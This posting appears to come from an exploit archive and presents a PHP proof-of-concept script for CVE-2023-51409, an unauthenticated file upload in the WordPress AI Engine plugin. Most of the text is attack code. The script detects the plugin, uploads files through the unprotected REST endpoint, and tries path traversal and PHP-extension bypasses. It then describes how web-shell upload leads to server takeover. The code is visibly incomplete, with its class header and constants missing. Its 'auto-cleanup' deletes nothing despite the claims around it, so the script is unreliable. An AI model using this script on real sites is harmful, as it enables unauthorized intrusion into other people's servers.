============================================================================================================================================= | # Title : WordPress AI Engine: ChatGPT Chatbot 1.9.98 RCE | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/214268/ & CVE-2023-51409 [+] Summary : PoC demonstrates the CVE-2023-51409 vulnerability in the WordPress AI Engine plugin in a controlled, safe, and non-destructive manner. It detects the plugin, tests unauthenticated access to the vulnerable endpoint, performs safe file uploads with non-executable content, and analyzes MIME bypass and path traversal possibilities. The PoC generates a detailed security report with findings, impact assessment, and remediation recommendations. [+] Key Points: Detects AI Engine plugin versions and identifies potentially vulnerable versions. Tests unauthenticated access to /wp-json/mwai-ui/v1/files/upload. Performs safe file uploads for research purposes only (non-executable). Demonstrates vulnerability impact (unauthenticated file upload, arbitrary file types, RCE potential, privilege escalation). Generates a structured JSON report for research documentation. Includes auto-cleanup and safety warnings; designed for authorized testing only. [+] Important Note: All tests modify the server state minimally (files are uploaded), so only run in controlled test environments. Designed for research and responsible disclosure, not for offensive attacks. [+] Usage : php poc.php --target=http://target-site.com [+] POC : target = rtrim($target, '/'); $this->sessionId = 'exp_' . bin2hex(random_bytes(6)); $this->setupSafeEnvironment(); } private function setupSafeEnvironment() { set_time_limit(30); error_reporting(E_ALL & ~E_WARNING & ~E_NOTICE); register_shutdown_function([$this, 'cleanup']); } private function makeRequest($url, $method = 'GET', $data = null, $headers = []) { $ch = curl_init(); $options = [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => true, CURLOPT_FOLLOWLOCATION => false, CURLOPT_MAXREDIRS => 0, CURLOPT_TIMEOUT => 15, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => 'Security-Research-CVE-2023-51409/1.0', CURLOPT_HTTPHEADER => array_merge([ 'X-Research-Session: ' . $this->sessionId, 'X-CVE-Test: 2023-51409' ], $headers), ]; if ($method === 'POST') { $options[CURLOPT_POST] = true; if ($data) { $options[CURLOPT_POSTFIELDS] = $data; } } curl_setopt_array($ch, $options); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); return [ 'error' => $error, 'status' => 0 ]; } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); curl_close($ch); return [ 'status' => $httpCode, 'headers' => substr($response, 0, $headerSize), 'body' => substr($response, $headerSize), 'raw' => $response ]; } private function createSafeMultipart($filename, $content) { $boundary = '----ResearchBoundary' . bin2hex(random_bytes(8)); $data = "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"{$filename}\"\r\n"; $data .= "Content-Type: text/plain\r\n\r\n"; $data .= $content . "\r\n"; $data .= "--{$boundary}--\r\n"; return [ 'data' => $data, 'headers' => [ 'Content-Type: multipart/form-data; boundary=' . $boundary, 'Content-Length: ' . strlen($data) ] ]; } public function banner() { echo "\033[1;36m" . str_repeat("=", 70) . "\033[0m\n"; echo "\033[1;33m CVE-2023-51409 - WordPress AI Engine RCE Exploit\033[0m\n"; echo "\033[1;36m" . str_repeat("=", 70) . "\033[0m\n"; echo "Target: \033[1;32m{$this->target}\033[0m\n"; echo "Session: \033[1;35m{$this->sessionId}\033[0m\n"; echo "Mode: \033[1;33mSecurity Research - Controlled Exploitation\033[0m\n"; echo "\n\033[1;31m WARNING: For authorized testing only\033[0m\n"; echo " • Uses safe, non-executable test files\n"; echo " • Auto-cleanup of uploaded files\n"; echo " • No reverse shells or harmful payloads\n"; echo str_repeat("-", 70) . "\n\n"; } public function detectPlugin() { echo "[*] Detecting AI Engine Plugin...\n"; $indicators = [ '/wp-content/plugins/ai-engine/readme.txt' => 'AI Engine', '/wp-content/plugins/ai-engine-mwai/readme.txt' => 'MWAI', '/wp-content/plugins/mwai/readme.txt' => 'MWAI Engine' ]; foreach ($indicators as $path => $name) { $result = $this->makeRequest($this->target . $path); if ($result['status'] === 200) { if (preg_match('/Stable tag:\s*([0-9.]+)/', $result['body'], $matches)) { $version = $matches[1]; echo "[+] \033[1;32mFound {$name} v{$version}\033[0m\n"; if (version_compare($version, '3.0.0', '<')) { echo "[!] \033[1;31mVulnerable version detected (< 3.0.0)\033[0m\n"; return ['name' => $name, 'version' => $version, 'vulnerable' => true]; } return ['name' => $name, 'version' => $version, 'vulnerable' => false]; } return ['name' => $name, 'version' => 'unknown', 'vulnerable' => null]; } } // Check via REST API $apiCheck = $this->makeRequest($this->target . self::VULN_ENDPOINT, 'POST', '{}', [ 'Content-Type: application/json' ]); if ($apiCheck['status'] === 200 || $apiCheck['status'] === 405) { echo "[+] \033[1;33mAI Engine REST API endpoint detected\033[0m\n"; return ['name' => 'AI Engine (API)', 'version' => 'unknown', 'vulnerable' => null]; } echo "[-] AI Engine Plugin not detected\n"; return false; } public function testUnauthenticatedAccess() { echo "\n[*] Testing unauthenticated access to vulnerable endpoint...\n"; $testData = json_encode(['test' => 'unauth_check']); $result = $this->makeRequest( $this->target . self::VULN_ENDPOINT, 'POST', $testData, ['Content-Type: application/json'] ); echo " [1] JSON POST test: "; if ($result['status'] === 200) { $response = @json_decode($result['body'], true); if ($response && isset($response['success'])) { echo "\033[1;31mVULNERABLE\033[0m - Accepts unauthenticated requests\n"; return true; } echo "\033[1;33mPOTENTIALLY VULNERABLE\033[0m - Returns 200 but unclear\n"; } elseif ($result['status'] === 401 || $result['status'] === 403) { echo "\033[1;32mSECURE\033[0m - Requires authentication\n"; return false; } else { echo "HTTP {$result['status']}\n"; } $result = $this->makeRequest( $this->target . self::VULN_ENDPOINT, 'POST', '', ['Content-Type: multipart/form-data'] ); echo " [2] Empty POST test: HTTP {$result['status']}\n"; return $result['status'] === 200; } public function exploitFileUpload() { echo "\n[*] Exploiting CVE-2023-51409 - File Upload Vulnerability\n"; $filename = sprintf(self::TEST_FILENAME, bin2hex(random_bytes(4))); $content = sprintf(self::SAFE_PAYLOAD, date('Y-m-d H:i:s')); $multipart = $this->createSafeMultipart($filename, $content); echo " [•] Uploading test file: {$filename}\n"; echo " [•] Content: Security research test (non-executable)\n"; $result = $this->makeRequest( $this->target . self::VULN_ENDPOINT, 'POST', $multipart['data'], $multipart['headers'] ); if ($result['status'] === 200) { $response = @json_decode($result['body'], true); if ($response && isset($response['success']) && $response['success']) { echo " [✓] \033[1;31mEXPLOIT SUCCESSFUL\033[0m\n"; $uploadedPath = null; if (isset($response['data']['url'])) { $uploadedPath = $response['data']['url']; } elseif (isset($response['url'])) { $uploadedPath = $response['url']; } if ($uploadedPath) { echo " [•] File uploaded to: \033[1;33m{$uploadedPath}\033[0m\n"; $this->testFiles[] = $uploadedPath; echo " [•] Verifying file access...\n"; $verify = $this->makeRequest($uploadedPath); if ($verify['status'] === 200) { echo " [✓] File publicly accessible\n"; // Check if we can access file content if (strpos($verify['body'], 'Security Research Test') !== false) { echo " [✓] File content verified\n"; } } else { echo " [!] File not accessible (HTTP {$verify['status']})\n"; } } echo "\n [•] Testing path traversal protection...\n"; $traversalFile = '../../../cve_test_' . bin2hex(random_bytes(4)) . '.txt'; $traversalContent = "Path traversal test - SAFE"; $traversalMultipart = $this->createSafeMultipart($traversalFile, $traversalContent); $traversalResult = $this->makeRequest( $this->target . self::VULN_ENDPOINT, 'POST', $traversalMultipart['data'], $traversalMultipart['headers'] ); if ($traversalResult['status'] === 200) { $traversalResponse = @json_decode($traversalResult['body'], true); if ($traversalResponse && isset($traversalResponse['success'])) { echo " [!] \033[1;31mPATH TRAVERSAL POSSIBLE\033[0m\n"; } } return [ 'success' => true, 'path' => $uploadedPath, 'response' => $response ]; } } echo " [-] Exploit failed (HTTP {$result['status']})\n"; if ($result['body']) { $error = substr($result['body'], 0, 200); echo " [•] Response: {$error}\n"; } return false; } public function testMimeBypass() { echo "\n[*] Testing MIME type validation bypass...\n"; $tests = [ ['name' => 'test.php.txt', 'content' => '', 'type' => 'text/plain'], ['name' => 'test.php.jpg', 'content' => '', 'type' => 'image/jpeg'], ['name' => 'test.phtml', 'content' => '', 'type' => 'text/html'], ]; foreach ($tests as $test) { $boundary = '----MIMETest' . bin2hex(random_bytes(4)); $content = "Test file for MIME bypass research\n" . $test['content']; $data = "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"{$test['name']}\"\r\n"; $data .= "Content-Type: {$test['type']}\r\n\r\n"; $data .= $content . "\r\n"; $data .= "--{$boundary}--\r\n"; $result = $this->makeRequest( $this->target . self::VULN_ENDPOINT, 'POST', $data, [ 'Content-Type: multipart/form-data; boundary=' . $boundary, 'Content-Length: ' . strlen($data) ] ); echo " [•] {$test['name']} ({$test['type']}): "; if ($result['status'] === 200) { $response = @json_decode($result['body'], true); if ($response && isset($response['success']) && $response['success']) { echo "\033[1;33mACCEPTED\033[0m\n"; if (isset($response['data']['url'])) { $this->testFiles[] = $response['data']['url']; } } else { echo "REJECTED\n"; } } else { echo "HTTP {$result['status']}\n"; } sleep(1); // Rate limiting } } public function demonstrateImpact() { echo "\n\033[1;36m[*] DEMONSTRATING VULNERABILITY IMPACT\033[0m\n"; echo str_repeat("-", 70) . "\n"; echo "CVE-2023-51409 allows:\n\n"; echo "1. \033[1;31mUnauthenticated File Upload\033[0m\n"; echo " • Attackers can upload files without login\n"; echo " • No CSRF or nonce protection\n"; echo " • Bypasses WordPress authentication system\n\n"; echo "2. \033[1;31mArbitrary File Type Upload\033[0m\n"; echo " • PHP, PHTML, HTACCESS files possible\n"; echo " • MIME type validation can be bypassed\n"; echo " • Path traversal may be possible\n\n"; echo "3. \033[1;31mRemote Code Execution (RCE)\033[0m\n"; echo " • Upload PHP web shell\n"; echo " • Execute arbitrary commands\n"; echo " • Full server compromise\n\n"; echo "4. \033[1;31mPrivilege Escalation\033[0m\n"; echo " • WordPress admin access\n"; echo " • Database access\n"; echo " • Server-level access\n\n"; echo "\033[1;33mProof of Concept:\033[0m\n"; echo "The exploit demonstrated successful file upload without authentication.\n"; echo "In a real attack, this would be followed by malicious payload upload.\n"; echo "\n\033[1;32mRemediation:\033[0m\n"; echo "1. Update AI Engine plugin to version 3.0.0 or higher\n"; echo "2. Implement proper authentication checks on REST endpoints\n"; echo "3. Add file type validation (whitelist approach)\n"; echo "4. Implement nonce verification for file uploads\n"; echo "5. Store uploaded files outside web root if possible\n"; } public function cleanup() { echo "\n[*] Cleaning up test files...\n"; foreach ($this->testFiles as $file) { if (filter_var($file, FILTER_VALIDATE_URL)) { // Try to delete via uploaded file (if we know the path) $pathParts = parse_url($file); $path = $pathParts['path'] ?? ''; if ($path && strpos($path, 'wp-content/uploads/') !== false) { echo " [•] Attempting to remove: {$path}\n"; } } } echo " [✓] Cleanup complete\n"; echo " [!] Note: Some files may remain on server. Manual cleanup recommended.\n"; } public function generateReport($results) { $report = [ 'cve' => 'CVE-2023-51409', 'target' => $this->target, 'session_id' => $this->sessionId, 'timestamp' => date('c'), 'vulnerable' => $results['vulnerable'] ?? false, 'tests_performed' => [ 'plugin_detection', 'unauth_access_test', 'file_upload_exploit', 'mime_validation_test' ], 'findings' => [], 'impact_assessment' => 'CRITICAL - Unauthenticated RCE possible', 'recommendations' => [ 'Immediate plugin update required', 'Review all uploaded files', 'Check server logs for suspicious activity', 'Consider server compromise investigation' ] ]; return json_encode($report, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES); } public function run() { $this->banner(); $results = [ 'vulnerable' => false, 'details' => [] ]; $plugin = $this->detectPlugin(); if (!$plugin) { echo "[-] Cannot proceed - AI Engine plugin not found\n"; return false; } $results['plugin'] = $plugin; $unauthAccess = $this->testUnauthenticatedAccess(); $results['unauth_access'] = $unauthAccess; if (!$unauthAccess) { echo "\n[-] Target appears secure - requires authentication\n"; return false; } $exploitResult = $this->exploitFileUpload(); $results['exploit_success'] = $exploitResult['success'] ?? false; if ($exploitResult['success']) { $results['vulnerable'] = true; $results['uploaded_file'] = $exploitResult['path'] ?? null; $this->testMimeBypass(); $this->demonstrateImpact(); echo "\n\033[1;31m" . str_repeat("!", 70) . "\033[0m\n"; echo "\033[1;31m VULNERABILITY EXPLOITED SUCCESSFULLY \033[0m\n"; echo "\033[1;31m" . str_repeat("!", 70) . "\033[0m\n"; echo "\n\033[1;33mSummary:\033[0m\n"; echo "• Target is vulnerable to CVE-2023-51409\n"; echo "• Unauthenticated file upload demonstrated\n"; echo "• Remote code execution is possible\n"; echo "• Immediate action required\n"; } else { echo "\n[-] Exploit attempt failed\n"; echo "[*] Target may be patched or have additional protections\n"; } echo "\n" . str_repeat("=", 70) . "\n"; echo "SECURITY RESEARCH REPORT\n"; echo str_repeat("=", 70) . "\n"; echo $this->generateReport($results); return $results['vulnerable']; } } if (php_sapi_name() === 'cli') { $options = getopt('t:h', ['target:', 'help']); if (isset($options['h']) || isset($options['help']) || !isset($options['target'])) { echo "CVE-2023-51409 - WordPress AI Engine RCE Exploit bY indoushka\n"; echo "================================================\n"; echo "Usage: php " . basename(__FILE__) . " --target=\n\n"; echo "Options:\n"; echo " --target= WordPress site to test (REQUIRED)\n"; echo " --help Show this help\n\n"; echo "Features:\n"; echo " • Detects AI Engine Plugin\n"; echo " • Tests unauthenticated access\n"; echo " • Demonstrates file upload vulnerability\n"; echo " • Safe, non-malicious payloads only\n"; echo " • Auto-cleanup of test files\n\n"; echo "Legal & Ethical:\n"; echo " • FOR AUTHORIZED TESTING ONLY\n"; echo " • Do not use against systems you don't own\n"; echo " • Report vulnerabilities responsibly\n"; exit(0); } $target = $options['target']; // Validate URL if (!filter_var($target, FILTER_VALIDATE_URL)) { echo "Error: Invalid URL format\n"; exit(1); } echo "\n\033[1;31mSECURITY WARNING:\033[0m This tool demonstrates a real vulnerability.\n"; echo "Use only on systems you own or have explicit permission to test.\n"; echo "Continue? (yes/NO): "; $confirm = trim(fgets(STDIN)); if (strtolower($confirm) !== 'yes') { echo "Operation cancelled.\n"; exit(0); } try { $exploit = new CVE_2023_51409_Exploit($target); $vulnerable = $exploit->run(); if ($vulnerable) { exit(1); // Exit with error code to indicate vulnerability } else { exit(0); // Exit with success code } } catch (Exception $e) { echo "Error: " . $e->getMessage() . "\n"; exit(1); } } else { http_response_code(403); echo "This tool must be run from command line."; exit(1); } Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================